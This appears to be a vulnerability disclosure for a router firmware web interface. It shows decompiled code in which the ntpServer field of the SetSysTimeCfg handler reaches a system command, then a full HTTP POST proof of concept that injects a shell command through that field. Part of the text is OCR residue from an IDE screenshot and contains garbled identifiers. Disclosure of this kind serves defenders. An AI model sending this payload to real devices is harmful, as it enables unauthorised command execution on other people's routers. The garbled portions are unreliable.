

软件升级

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
if (!strcmp(s1, "sync"))
  {
     *( DWORD *)nptr = 0;
     v15 = 0;
     memset(v13, 0, sizeof(v13));
     v23 = (char *)sub_2B9D4(a1, "timeZone", &unk_ECBA0);
v22 = (char *)sub_2B9D4(a1, "timePeriod", &unk ECBA0);
src = (char *)sub_2B9D4(a1, "ntpServer", "time.windows.com");
     SetValue("sys.timesyn", "1");
SetValue("sys.timemode", "auto");
     SetValue("sys.timezone", v23);
     SetValue("sys.timenextzone", "0");
     SetValue("sys.timefixper", v22);
     v1 = SetValue("sys.timentpserver", src);
     if ( CommitCfm(v1) )
       GetValue("sys.timesyn", nptr);
       if ( atoi(nptr) == 1 )
          v16[0] = atoi(nptr);
          v16[1] = atoi(v23);
          v16[2] = atoi(v22);
          strcpy((char *)&v16[3], src);
          sprintf((char *)v13, "op=%d", 3);
00083904 fromSetSysTime:45 (8B904)
```

```
3 ↔ 8 9 0 11 8 1 4 6 1
                                                                              छ Windows 10 x64
TDA - libtpi.so C:\Users\18454\Desktop\libtpi.so
File Edit Jump Search View Debugger Lumina Options Windows Help
           \Rightarrow - 😘 😘 🐧
                              , 🤦 🔼 🌑 📠 📠 🗗 🖈 🗸
                                                                                        🔁 🚰 🐩 👺
 📕 Library function 📙 Regular function 🛑 Instruction 📉 Data 📗 Unexplored 🔛 External symbol 📗 Lumina function
Functions 🗖 🔻 🐚 ID... 🔞 🔞 Ps... 🔞 🖼 St... 🔞
                                                      □ He… ■
                                                                 A St. ..
                                                                            Enums 🖪
                                                                                                  M2 | ◀
Function name
                         1 int __fastcall tpi_sntp_start(int a1)
f tpi sntp start
                         2 {
f tpi_sntp_stop
                             setup_timezone(*(_DWORD *)(a1 + 4), *(_DWORD *)(a1 + 268));
f tpi_sntp_restart
f tpi_sntp_handle
                             doSvstemCmd(
f tpi_snd_to_nkgw
                                "sntp %d %d %d %d %s &",
                               *(_DWORD *)a1,
                               *(_DWORD *)(a1 + 4),
                                *(_DWORD *)(a1 + 8),
                                *(_DWORD *)(a1 + 268),
                                (const char *)(alint12));
                       11 return 0;
                     12}
Line 4 of 5
■ Output
                                                                                                The initial autoanalysis has been finished.
Caching 'Functions'... ok
9EOC: using guessed type int __fastcall setup_timezone(_DWORD, 93FCO: using guessed type int doSystemCmd(const char *, ...);
                              _fastcall setup_timezone(_DWORD, _DWORD);
                                                                🕽 28℃ ヘ 🗢 🖫 切) 英
              0
```

The parameter Ntpserver is passed to tip_sntp_handle->doSystemCmd. A command injection vulnerability was formed.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V15.03.2.21_cn
- 2. Attack with the following POC attacks

```
POST /goform/SetSysTimeCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 76
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTM Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/system_time.html?random=0.9150451753353981&
```

Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9

Cookie: password=25f9e794323b453885f5181f1b624d0btjotgb

Connection: close

timePeriod=86400&ntpServer="time.windows.com| ls > /tmp/f0und"&timeZone=20%3A00

